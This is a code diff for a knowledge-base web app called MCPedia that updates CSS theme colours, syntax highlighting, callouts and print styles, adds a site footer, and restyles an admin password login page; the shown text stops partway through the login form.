--bg-surface-hover: #f1f5f9;
|
||||
--bg-elevated: #f1f5f9;
|
||||
--bg-elevated-hover: #e2e8f0;
|
||||
--border-color: #e2e8f0;
|
||||
--border-subtle: #edf2f7;
|
||||
--border-card: #e2e8f0;
|
||||
--bg-surface-hover: #f3f4f6;
|
||||
--bg-elevated: #f3f4f6;
|
||||
--bg-elevated-hover: #e5e7eb;
|
||||
--border-color: #e5e7eb;
|
||||
--border-subtle: #f3f4f6;
|
||||
--border-card: #e5e7eb;
|
||||
|
||||
--text-primary: #0f172a;
|
||||
--text-secondary: #334155;
|
||||
--text-muted: #64748b;
|
||||
--text-dim: #94a3b8;
|
||||
--text-primary: #111827;
|
||||
--text-secondary: #374151;
|
||||
--text-muted: #6b7280;
|
||||
--text-dim: #9ca3af;
|
||||
|
||||
--brand: #5e6ad2;
|
||||
--accent: #4f46e5;
|
||||
--accent-hover: #4338ca;
|
||||
/* Accent: Precision Technical Ink */
|
||||
--brand: #18181b;
|
||||
--brand-hover: #27272a;
|
||||
--brand-fg: #ffffff;
|
||||
--accent: #2563eb;
|
||||
--accent-hover: #1d4ed8;
|
||||
|
||||
--nav-bg: rgba(255, 255, 255, 0.88);
|
||||
--code-bg: #f1f5f9;
|
||||
--code-block-bg: #0f172a;
|
||||
--pre-text: #f8fafc;
|
||||
--table-zebra: rgba(241, 245, 249, 0.6);
|
||||
--scrollbar-thumb: #cbd5e1;
|
||||
--scrollbar-thumb-hover: #94a3b8;
|
||||
--shadow-card: 0 1px 3px 0 rgba(0, 0, 0, 0.05), 0 1px 2px -1px rgba(0, 0, 0, 0.05);
|
||||
--nav-bg: rgba(255, 255, 255, 0.92);
|
||||
|
||||
/* Code & Syntax (Light Mode) */
|
||||
--code-bg: #f3f4f6;
|
||||
--code-block-bg: #f8fafc;
|
||||
--code-header-bg: #f1f5f9;
|
||||
--border-code: #e2e8f0;
|
||||
--code-button-bg: #ffffff;
|
||||
--code-button-hover-bg: #e2e8f0;
|
||||
--pre-text: #1e293b;
|
||||
--code-inline-bg: #f1f5f9;
|
||||
--code-inline-text: #0f172a;
|
||||
--code-inline-border: #e2e8f0;
|
||||
|
||||
--table-zebra: rgba(243, 244, 246, 0.5);
|
||||
--scrollbar-thumb: #d1d5db;
|
||||
--scrollbar-thumb-hover: #9ca3af;
|
||||
--shadow-card: 0 1px 2px 0 rgba(0, 0, 0, 0.04);
|
||||
|
||||
/* Syntax Highlighting */
|
||||
--hl-keyword: #cf222e;
|
||||
--hl-string: #0a3069;
|
||||
--hl-title: #6f42c1;
|
||||
--hl-attr: #953800;
|
||||
--hl-number: #0550ae;
|
||||
--hl-comment: #6e7781;
|
||||
--hl-builtin: #0969da;
|
||||
--hl-operator: #57606a;
|
||||
--hl-variable: #953800;
|
||||
--hl-meta: #6e7781;
|
||||
}
|
||||
|
||||
/* Dark mode overrides (html.dark) */
|
||||
/* Dark mode overrides (html.dark) - Deep Basalt / Precision Carbon */
|
||||
html.dark {
|
||||
color-scheme: dark;
|
||||
--bg-app: #08090a;
|
||||
--bg-surface: #0f1011;
|
||||
--bg-surface-hover: #131415;
|
||||
--bg-elevated: #141517;
|
||||
--bg-elevated-hover: #1b1d20;
|
||||
--border-color: #1f2022;
|
||||
--border-subtle: rgba(255, 255, 255, 0.06);
|
||||
--border-card: #1f2022;
|
||||
--bg-app: #090a0c;
|
||||
--bg-surface: #101216;
|
||||
--bg-surface-hover: #16181f;
|
||||
--bg-elevated: #161920;
|
||||
--bg-elevated-hover: #1e222b;
|
||||
--border-color: #222630;
|
||||
--border-subtle: #181b22;
|
||||
--border-card: #222630;
|
||||
|
||||
--text-primary: #f7f8f8;
|
||||
--text-secondary: #d0d6e0;
|
||||
--text-muted: #8a8f98;
|
||||
--text-dim: #62666d;
|
||||
--text-primary: #f3f4f6;
|
||||
--text-secondary: #d1d5db;
|
||||
--text-muted: #9ca3af;
|
||||
--text-dim: #6b7280;
|
||||
|
||||
--brand: #5e6ad2;
|
||||
--accent: #7170ff;
|
||||
--accent-hover: #828fff;
|
||||
/* Accent: Monolithic Snow Ink */
|
||||
--brand: #f3f4f6;
|
||||
--brand-hover: #ffffff;
|
||||
--brand-fg: #090a0c;
|
||||
--accent: #60a5fa;
|
||||
--accent-hover: #93c5fd;
|
||||
|
||||
--nav-bg: rgba(8, 9, 10, 0.85);
|
||||
--code-bg: #141517;
|
||||
--code-block-bg: #0c0d0e;
|
||||
--pre-text: #e2e4e7;
|
||||
--table-zebra: rgba(255, 255, 255, 0.02);
|
||||
--scrollbar-thumb: #23252a;
|
||||
--scrollbar-thumb-hover: #383b42;
|
||||
--nav-bg: rgba(9, 10, 12, 0.90);
|
||||
|
||||
/* Code & Syntax (Dark Mode) */
|
||||
--code-bg: #0c0e12;
|
||||
--code-block-bg: #0c0e12;
|
||||
--code-header-bg: #14171d;
|
||||
--border-code: #222630;
|
||||
--code-button-bg: #181b22;
|
||||
--code-button-hover-bg: #222630;
|
||||
--pre-text: #e5e7eb;
|
||||
--code-inline-bg: #161920;
|
||||
--code-inline-text: #e5e7eb;
|
||||
--code-inline-border: #222630;
|
||||
|
||||
--table-zebra: rgba(255, 255, 255, 0.015);
|
||||
--scrollbar-thumb: #222630;
|
||||
--scrollbar-thumb-hover: #374151;
|
||||
--shadow-card: none;
|
||||
|
||||
/* Syntax Highlighting */
|
||||
--hl-keyword: #ff7b72;
|
||||
--hl-string: #a5d6ff;
|
||||
--hl-title: #d2a8ff;
|
||||
--hl-attr: #ffa657;
|
||||
--hl-number: #79c0ff;
|
||||
--hl-comment: #8b949e;
|
||||
--hl-builtin: #7ee787;
|
||||
--hl-operator: #8b949e;
|
||||
--hl-variable: #ffa657;
|
||||
--hl-meta: #8b949e;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: "Inter", system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
--font-sans: "Inter", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
||||
--font-mono: "JetBrains Mono", ui-monospace, "SF Mono", Menlo, Monaco, Consolas, monospace;
|
||||
|
||||
--color-background: var(--bg-app);
|
||||
@@ -73,6 +131,7 @@ html.dark {
|
||||
--color-elevated: var(--bg-elevated);
|
||||
--color-elevated-hover: var(--bg-elevated-hover);
|
||||
--color-border: var(--border-color);
|
||||
--border-code: var(--border-code);
|
||||
--color-border-subtle: var(--border-subtle);
|
||||
|
||||
--color-text-primary: var(--text-primary);
|
||||
@@ -81,6 +140,7 @@ html.dark {
|
||||
--color-text-quaternary: var(--text-dim);
|
||||
|
||||
--color-brand: var(--brand);
|
||||
--color-brand-hover: var(--brand-hover);
|
||||
--color-accent: var(--accent);
|
||||
--color-accent-hover: var(--accent-hover);
|
||||
}
|
||||
@@ -93,16 +153,17 @@ body {
|
||||
background-color: var(--bg-app);
|
||||
color: var(--text-secondary);
|
||||
font-family: var(--font-sans);
|
||||
font-feature-settings: "cv01", "ss03";
|
||||
font-feature-settings: "cv01", "ss03", "zero", "calt";
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
transition: background-color 0.2s ease, color 0.2s ease;
|
||||
transition: background-color 0.15s ease, color 0.15s ease;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
/* Custom scrollbar */
|
||||
/* Custom hairline scrollbar */
|
||||
::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
width: 5px;
|
||||
height: 5px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
@@ -111,49 +172,88 @@ body {
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: var(--scrollbar-thumb);
|
||||
border-radius: 9999px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: var(--scrollbar-thumb-hover);
|
||||
}
|
||||
|
||||
/* Glassmorphism helpers */
|
||||
.glass-panel {
|
||||
background: var(--bg-surface);
|
||||
backdrop-filter: blur(12px);
|
||||
-webkit-backdrop-filter: blur(12px);
|
||||
border: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
/* Glass navigation */
|
||||
.glass-nav {
|
||||
background: var(--nav-bg);
|
||||
backdrop-filter: blur(16px);
|
||||
-webkit-backdrop-filter: blur(16px);
|
||||
}
|
||||
|
||||
/* Prose markdown typography for both Light and Dark modes */
|
||||
/* Tactical Architectural Callouts */
|
||||
.callout {
|
||||
border-left-width: 3px;
|
||||
border-radius: 0 0.375rem 0.375rem 0;
|
||||
padding: 0.875rem 1.125rem;
|
||||
margin: 1.5rem 0;
|
||||
}
|
||||
|
||||
.callout-note {
|
||||
border-left-color: var(--text-muted);
|
||||
background-color: var(--bg-elevated);
|
||||
}
|
||||
|
||||
.callout-tip {
|
||||
border-left-color: #10b981;
|
||||
background-color: rgba(16, 185, 129, 0.06);
|
||||
}
|
||||
|
||||
.callout-important {
|
||||
border-left-color: #3b82f6;
|
||||
background-color: rgba(59, 130, 246, 0.06);
|
||||
}
|
||||
|
||||
.callout-warning {
|
||||
border-left-color: #f59e0b;
|
||||
background-color: rgba(245, 158, 11, 0.06);
|
||||
}
|
||||
|
||||
.callout-caution {
|
||||
border-left-color: #ef4444;
|
||||
background-color: rgba(239, 68, 68, 0.06);
|
||||
}
|
||||
|
||||
/* Prose Typography */
|
||||
.prose {
|
||||
color: var(--text-secondary) !important;
|
||||
max-width: 100% !important;
|
||||
}
|
||||
|
||||
.prose h1, .prose h2, .prose h3, .prose h4, .prose strong {
|
||||
color: var(--text-primary) !important;
|
||||
font-weight: 700;
|
||||
letter-spacing: -0.02em;
|
||||
}
|
||||
|
||||
.prose a {
|
||||
color: var(--accent) !important;
|
||||
color: var(--text-primary) !important;
|
||||
text-decoration: underline;
|
||||
text-decoration-color: var(--border-color);
|
||||
text-underline-offset: 3px;
|
||||
font-weight: 500;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
|
||||
.prose a:hover {
|
||||
text-decoration-color: var(--text-primary);
|
||||
}
|
||||
|
||||
.prose table {
|
||||
width: 100%;
|
||||
border-collapse: separate;
|
||||
border-spacing: 0;
|
||||
margin: 1.75rem 0;
|
||||
margin: 2rem 0;
|
||||
font-size: 0.875rem;
|
||||
border-radius: 0.5rem;
|
||||
overflow: hidden;
|
||||
border: 1px solid var(--border-color);
|
||||
background: var(--bg-surface);
|
||||
}
|
||||
|
||||
.prose th,
|
||||
@@ -167,9 +267,10 @@ body {
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text-primary);
|
||||
font-weight: 600;
|
||||
font-size: 0.8125rem;
|
||||
font-size: 0.75rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
letter-spacing: 0.08em;
|
||||
font-family: var(--font-mono);
|
||||
}
|
||||
|
||||
.prose td {
|
||||
@@ -180,28 +281,35 @@ body {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.prose tbody tr:hover {
|
||||
background: var(--bg-elevated-hover);
|
||||
}
|
||||
|
||||
.prose tbody tr:nth-child(even) {
|
||||
background: var(--table-zebra);
|
||||
}
|
||||
|
||||
.prose pre {
|
||||
background: var(--code-block-bg) !important;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 0.625rem;
|
||||
color: var(--pre-text) !important;
|
||||
border: 1px solid var(--border-code);
|
||||
border-radius: 0.5rem;
|
||||
padding: 1rem 1.25rem;
|
||||
overflow-x: auto;
|
||||
position: relative;
|
||||
font-family: var(--font-mono);
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.prose code {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.85em;
|
||||
font-size: 0.875em;
|
||||
}
|
||||
|
||||
.prose :not(pre) > code {
|
||||
background: var(--code-bg);
|
||||
color: var(--text-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
background: var(--code-inline-bg);
|
||||
color: var(--code-inline-text);
|
||||
border: 1px solid var(--code-inline-border);
|
||||
padding: 0.15rem 0.35rem;
|
||||
border-radius: 0.25rem;
|
||||
font-weight: 500;
|
||||
@@ -213,13 +321,13 @@ body {
|
||||
}
|
||||
|
||||
.prose blockquote {
|
||||
border-left: 3px solid var(--brand);
|
||||
background: rgba(94, 106, 210, 0.08);
|
||||
border-left: 2px solid var(--text-muted);
|
||||
background: var(--bg-elevated);
|
||||
border-radius: 0 0.375rem 0.375rem 0;
|
||||
margin: 1.5em 0;
|
||||
padding: 0.75em 1.25em;
|
||||
font-style: normal;
|
||||
color: var(--text-muted);
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.prose hr {
|
||||
@@ -227,12 +335,358 @@ body {
|
||||
margin: 2.5rem 0;
|
||||
}
|
||||
|
||||
/* Animations */
|
||||
/* Syntax Highlighting */
|
||||
.hljs {
|
||||
color: var(--pre-text);
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.hljs-keyword,
|
||||
.hljs-selector-tag,
|
||||
.hljs-subst,
|
||||
.hljs-doctag {
|
||||
color: var(--hl-keyword);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.hljs-string,
|
||||
.hljs-regexp,
|
||||
.hljs-link {
|
||||
color: var(--hl-string);
|
||||
}
|
||||
|
||||
.hljs-title,
|
||||
.hljs-title.function_,
|
||||
.hljs-title.class_,
|
||||
.hljs-section {
|
||||
color: var(--hl-title);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.hljs-attr,
|
||||
.hljs-attribute,
|
||||
.hljs-variable,
|
||||
.hljs-template-variable,
|
||||
.hljs-type {
|
||||
color: var(--hl-attr);
|
||||
}
|
||||
|
||||
.hljs-number,
|
||||
.hljs-literal {
|
||||
color: var(--hl-number);
|
||||
}
|
||||
|
||||
.hljs-comment,
|
||||
.hljs-quote {
|
||||
color: var(--hl-comment);
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.hljs-built_in,
|
||||
.hljs-symbol,
|
||||
.hljs-bullet {
|
||||
color: var(--hl-builtin);
|
||||
}
|
||||
|
||||
.hljs-meta,
|
||||
.hljs-meta .hljs-keyword,
|
||||
.hljs-meta .hljs-string {
|
||||
color: var(--hl-meta);
|
||||
}
|
||||
|
||||
.hljs-params {
|
||||
color: var(--pre-text);
|
||||
}
|
||||
|
||||
.hljs-punctuation,
|
||||
.hljs-operator {
|
||||
color: var(--hl-operator);
|
||||
}
|
||||
|
||||
.hljs-addition {
|
||||
color: #10b981;
|
||||
background-color: rgba(16, 185, 129, 0.15);
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.hljs-deletion {
|
||||
color: #ef4444;
|
||||
background-color: rgba(239, 68, 68, 0.15);
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.hljs-emphasis {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.hljs-strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Transitions */
|
||||
@keyframes fadeIn {
|
||||
from { opacity: 0; transform: translateY(4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.animate-fade-in {
|
||||
animation: fadeIn 0.2s ease-out forwards;
|
||||
animation: fadeIn 0.18s ease-out forwards;
|
||||
}
|
||||
|
||||
/* Print & PDF Export Stylesheet */
|
||||
@media print {
|
||||
@page {
|
||||
size: A4 portrait;
|
||||
margin: 10mm 12mm 10mm 12mm;
|
||||
}
|
||||
|
||||
*, *::before, *::after {
|
||||
-webkit-print-color-adjust: exact !important;
|
||||
print-color-adjust: exact !important;
|
||||
box-sizing: border-box !important;
|
||||
}
|
||||
|
||||
html, body {
|
||||
background-color: #ffffff !important;
|
||||
color: #0f172a !important;
|
||||
font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif !important;
|
||||
font-size: 8.5pt !important;
|
||||
line-height: 1.35 !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
width: 100% !important;
|
||||
}
|
||||
|
||||
/* Hide navigation, toolbars, sidebar, and web UI controls */
|
||||
header.site-header,
|
||||
header.glass-nav,
|
||||
aside.site-sidebar,
|
||||
aside:not(.print-include),
|
||||
footer,
|
||||
nav.site-header,
|
||||
.no-print,
|
||||
.export-toolbar,
|
||||
#a11y-live-region {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
main,
|
||||
.print-container,
|
||||
main > div {
|
||||
max-width: 100% !important;
|
||||
width: 100% !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
border: none !important;
|
||||
box-shadow: none !important;
|
||||
background: transparent !important;
|
||||
}
|
||||
|
||||
/* Explicit page break classes */
|
||||
.page-break-before,
|
||||
.chapter-page {
|
||||
break-before: page !important;
|
||||
page-break-before: always !important;
|
||||
}
|
||||
|
||||
/* Prevent awkward mid-element page breaks */
|
||||
.avoid-break-inside,
|
||||
.code-block-wrapper,
|
||||
.code-block-container,
|
||||
.callout,
|
||||
blockquote,
|
||||
table,
|
||||
tr,
|
||||
img {
|
||||
break-inside: avoid !important;
|
||||
page-break-inside: avoid !important;
|
||||
}
|
||||
|
||||
/* Prevent headings from being orphaned at the bottom of pages */
|
||||
.challenge-header,
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
break-after: avoid !important;
|
||||
page-break-after: avoid !important;
|
||||
}
|
||||
|
||||
/* Dense / compact challenge flow */
|
||||
.challenge-entry {
|
||||
break-inside: auto !important;
|
||||
page-break-inside: auto !important;
|
||||
}
|
||||
|
||||
/* Compact typography & prose overrides */
|
||||
p,
|
||||
.prose p {
|
||||
margin-top: 0 !important;
|
||||
margin-bottom: 2.5pt !important;
|
||||
font-size: 8.5pt !important;
|
||||
line-height: 1.35 !important;
|
||||
color: #1e293b !important;
|
||||
}
|
||||
|
||||
h1,
|
||||
.prose h1 {
|
||||
font-size: 13pt !important;
|
||||
line-height: 1.2 !important;
|
||||
font-weight: 800 !important;
|
||||
color: #020617 !important;
|
||||
margin-top: 6pt !important;
|
||||
margin-bottom: 2pt !important;
|
||||
padding-bottom: 1pt !important;
|
||||
border-bottom: 1px solid #cbd5e1 !important;
|
||||
}
|
||||
|
||||
h2,
|
||||
.prose h2 {
|
||||
font-size: 10.5pt !important;
|
||||
line-height: 1.2 !important;
|
||||
font-weight: 700 !important;
|
||||
color: #020617 !important;
|
||||
margin-top: 5pt !important;
|
||||
margin-bottom: 2pt !important;
|
||||
padding-bottom: 1pt !important;
|
||||
border-bottom: 1px solid #e2e8f0 !important;
|
||||
}
|
||||
|
||||
h3,
|
||||
.prose h3 {
|
||||
font-size: 9.5pt !important;
|
||||
line-height: 1.2 !important;
|
||||
font-weight: 700 !important;
|
||||
color: #0f172a !important;
|
||||
margin-top: 4pt !important;
|
||||
margin-bottom: 1.5pt !important;
|
||||
}
|
||||
|
||||
h4, h5, h6,
|
||||
.prose h4, .prose h5, .prose h6 {
|
||||
font-size: 8.5pt !important;
|
||||
line-height: 1.2 !important;
|
||||
font-weight: 600 !important;
|
||||
color: #1e293b !important;
|
||||
margin-top: 3pt !important;
|
||||
margin-bottom: 1pt !important;
|
||||
}
|
||||
|
||||
ul, ol,
|
||||
.prose ul, .prose ol {
|
||||
margin-top: 1pt !important;
|
||||
margin-bottom: 2.5pt !important;
|
||||
padding-left: 13pt !important;
|
||||
}
|
||||
|
||||
li,
|
||||
.prose li {
|
||||
margin-top: 0.5pt !important;
|
||||
margin-bottom: 0.5pt !important;
|
||||
font-size: 8.5pt !important;
|
||||
line-height: 1.3 !important;
|
||||
}
|
||||
|
||||
li > p {
|
||||
margin: 0 !important;
|
||||
}
|
||||
|
||||
blockquote,
|
||||
.prose blockquote,
|
||||
.callout {
|
||||
margin: 2.5pt 0 !important;
|
||||
padding: 2pt 5pt !important;
|
||||
font-size: 8pt !important;
|
||||
line-height: 1.3 !important;
|
||||
border-left: 2.5px solid #64748b !important;
|
||||
background-color: #f8fafc !important;
|
||||
border-radius: 0 2px 2px 0 !important;
|
||||
}
|
||||
|
||||
table,
|
||||
.prose table {
|
||||
margin: 2.5pt 0 !important;
|
||||
font-size: 7.5pt !important;
|
||||
line-height: 1.25 !important;
|
||||
border-collapse: collapse !important;
|
||||
width: 100% !important;
|
||||
border: 1px solid #cbd5e1 !important;
|
||||
}
|
||||
|
||||
th, td,
|
||||
.prose th, .prose td {
|
||||
padding: 2pt 4pt !important;
|
||||
border: 1px solid #cbd5e1 !important;
|
||||
color: #1e293b !important;
|
||||
}
|
||||
|
||||
th,
|
||||
.prose th {
|
||||
background-color: #f1f5f9 !important;
|
||||
font-weight: 700 !important;
|
||||
text-transform: uppercase !important;
|
||||
letter-spacing: 0.04em !important;
|
||||
}
|
||||
|
||||
hr,
|
||||
.prose hr {
|
||||
margin: 3pt 0 !important;
|
||||
border-color: #e2e8f0 !important;
|
||||
}
|
||||
|
||||
img {
|
||||
max-width: 100% !important;
|
||||
max-height: 220px !important;
|
||||
height: auto !important;
|
||||
object-fit: contain !important;
|
||||
margin: 2.5pt auto !important;
|
||||
display: block !important;
|
||||
}
|
||||
|
||||
.code-block-wrapper,
|
||||
.code-block-container {
|
||||
break-inside: avoid !important;
|
||||
page-break-inside: avoid !important;
|
||||
border: 1px solid #cbd5e1 !important;
|
||||
background-color: #f8fafc !important;
|
||||
border-radius: 3px !important;
|
||||
margin: 2.5pt 0 !important;
|
||||
overflow: hidden !important;
|
||||
}
|
||||
|
||||
.code-block-header {
|
||||
border-bottom: 1px solid #cbd5e1 !important;
|
||||
background-color: #f1f5f9 !important;
|
||||
padding: 1.5pt 5pt !important;
|
||||
color: #334155 !important;
|
||||
font-size: 7pt !important;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace !important;
|
||||
font-weight: 700 !important;
|
||||
text-transform: uppercase !important;
|
||||
}
|
||||
|
||||
.code-block-wrapper pre {
|
||||
border: none !important;
|
||||
background-color: transparent !important;
|
||||
padding: 3pt 5pt !important;
|
||||
margin: 0 !important;
|
||||
border-radius: 0 !important;
|
||||
}
|
||||
|
||||
pre,
|
||||
pre code,
|
||||
code {
|
||||
white-space: pre-wrap !important;
|
||||
word-break: break-all !important;
|
||||
overflow-wrap: anywhere !important;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace !important;
|
||||
font-size: 7.5pt !important;
|
||||
line-height: 1.3 !important;
|
||||
color: #0f172a !important;
|
||||
}
|
||||
|
||||
:not(pre) > code {
|
||||
padding: 0.5pt 2pt !important;
|
||||
font-size: 7.5pt !important;
|
||||
background-color: #f1f5f9 !important;
|
||||
border: 1px solid #e2e8f0 !important;
|
||||
border-radius: 2px !important;
|
||||
}
|
||||
}
|
||||
+33
-5
@@ -2,11 +2,13 @@ import type { Metadata } from "next";
|
||||
import "./globals.css";
|
||||
import Header from "@/components/Header";
|
||||
import Sidebar from "@/components/Sidebar";
|
||||
import Link from "next/link";
|
||||
import { Database } from "lucide-react";
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: "MCPedia — Knowledge base for humans and AI agents",
|
||||
title: "MCPedia — Archival Knowledge Base for Humans & AI Agents",
|
||||
description:
|
||||
"A content-first knowledge base. Humans read the Web UI; AI agents use the MCP server. Both share one Core.",
|
||||
"A content-first knowledge base. Humans read the Web UI; AI agents use the Model Context Protocol (MCP). Both share one Core.",
|
||||
};
|
||||
|
||||
export default function RootLayout({
|
||||
@@ -35,7 +37,7 @@ export default function RootLayout({
|
||||
}}
|
||||
/>
|
||||
</head>
|
||||
<body className="min-h-screen bg-[var(--bg-app)] text-[var(--text-secondary)] font-sans antialiased selection:bg-[#5e6ad2]/30 selection:text-white flex flex-col transition-colors duration-150">
|
||||
<body className="min-h-screen bg-[var(--bg-app)] text-[var(--text-secondary)] font-sans antialiased selection:bg-[var(--text-primary)] selection:text-[var(--bg-app)] flex flex-col transition-colors duration-150">
|
||||
<div hidden>
|
||||
<div id="a11y-live-region" aria-live="polite" aria-atomic="true" />
|
||||
</div>
|
||||
@@ -44,16 +46,42 @@ export default function RootLayout({
|
||||
|
||||
<div className="mx-auto max-w-7xl w-full flex-1 flex flex-col">
|
||||
<div className="flex flex-1">
|
||||
<aside className="hidden lg:block w-72 shrink-0 border-r border-[var(--border-color)] sticky top-14 h-[calc(100vh-3.5rem)] overflow-y-auto bg-[var(--bg-app)]">
|
||||
<aside className="no-print hidden lg:block w-72 shrink-0 border-r border-[var(--border-color)] sticky top-14 h-[calc(100vh-3.5rem)] overflow-y-auto bg-[var(--bg-app)]">
|
||||
<Sidebar />
|
||||
</aside>
|
||||
<main className="flex-1 min-w-0">
|
||||
<div className="px-4 sm:px-8 py-8 sm:py-10 max-w-4xl mx-auto xl:max-w-5xl">
|
||||
<div className="px-4 sm:px-8 py-8 sm:py-10 print:p-0 print:m-0 print:max-w-none max-w-4xl mx-auto xl:max-w-5xl">
|
||||
{children}
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Global Precision Status Footer */}
|
||||
<footer className="no-print border-t border-[var(--border-color)] bg-[var(--bg-surface)] py-4 text-xs text-[var(--text-muted)]">
|
||||
<div className="mx-auto max-w-7xl px-4 sm:px-8 flex flex-col sm:flex-row items-center justify-between gap-3 font-mono">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="w-1.5 h-1.5 rounded-full bg-emerald-500" />
|
||||
<span className="text-[var(--text-primary)] font-semibold">MCPedia</span>
|
||||
<span className="text-[var(--border-color)]">/</span>
|
||||
<span>PostgreSQL 16 Core</span>
|
||||
<span className="text-[var(--border-color)]">/</span>
|
||||
<span>pgvector</span>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-4 text-[11px] text-[var(--text-muted)]">
|
||||
<Link href="/search" className="hover:text-[var(--text-primary)] transition-colors">
|
||||
RRF Hybrid Search
|
||||
</Link>
|
||||
<span>·</span>
|
||||
<Link href="/export/pdf" className="hover:text-[var(--text-primary)] transition-colors">
|
||||
Publication PDF
|
||||
</Link>
|
||||
<span>·</span>
|
||||
<span>HTTP :4021</span>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
);
|
||||
|
||||
+25
-24
@@ -3,6 +3,7 @@
|
||||
import { useState } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import Link from "next/link";
|
||||
import { Lock, Key, Eye, EyeOff, ArrowLeft } from "lucide-react";
|
||||
|
||||
export default function LoginPage() {
|
||||
const router = useRouter();
|
||||
@@ -38,47 +39,46 @@ export default function LoginPage() {
|
||||
|
||||
return (
|
||||
<div className="flex min-h-[65vh] items-center justify-center px-4">
|
||||
<div className="w-full max-w-md bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-2xl p-6 sm:p-8 shadow-2xl relative overflow-hidden">
|
||||
{/* Top decorative glow */}
|
||||
<div className="absolute -top-12 left-1/2 -translate-x-1/2 w-48 h-24 bg-[#5e6ad2]/20 blur-2xl pointer-events-none rounded-full" />
|
||||
|
||||
<div className="text-center mb-8">
|
||||
<div className="w-12 h-12 rounded-xl bg-[#5e6ad2] text-white font-bold text-xl flex items-center justify-center mx-auto mb-3 shadow-lg shadow-[#5e6ad2]/25">
|
||||
M
|
||||
<div className="w-full max-w-md bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 sm:p-8 shadow-xs relative">
|
||||
<div className="text-center mb-7">
|
||||
<div className="w-10 h-10 rounded-lg bg-[var(--brand)] text-[var(--brand-fg)] font-bold text-sm flex items-center justify-center mx-auto mb-3 shadow-xs font-mono">
|
||||
<Lock className="w-4 h-4" />
|
||||
</div>
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight">Admin Authentication</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-1.5">
|
||||
Enter your admin password to create, edit, or delete documents.
|
||||
<h1 className="text-xl font-bold text-[var(--text-primary)] tracking-tight">Admin Authentication</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-1">
|
||||
Enter administrative password to authorize document mutations.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="p-3.5 mb-6 rounded-lg border border-rose-500/30 bg-rose-500/10 text-rose-500 dark:text-rose-400 text-xs">
|
||||
<div className="p-3 mb-5 rounded-lg border border-rose-500/30 bg-rose-500/10 text-rose-500 dark:text-rose-400 text-xs font-medium animate-fade-in">
|
||||
{error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<form onSubmit={handleSubmit} className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
Admin Password
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Password
|
||||
</label>
|
||||
<div className="relative">
|
||||
<input
|
||||
type={showPassword ? "text" : "password"}
|
||||
value={password}
|
||||
onChange={(e) => setPassword(e.target.value)}
|
||||
placeholder="Enter password..."
|
||||
className="w-full px-3.5 py-2.5 bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg text-sm text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--brand)] focus:ring-1 focus:ring-[#5e6ad2] transition-colors"
|
||||
placeholder="Enter admin password..."
|
||||
className="w-full pl-9 pr-10 py-2.5 bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg text-sm text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--text-primary)] transition-colors font-mono"
|
||||
required
|
||||
autoFocus
|
||||
/>
|
||||
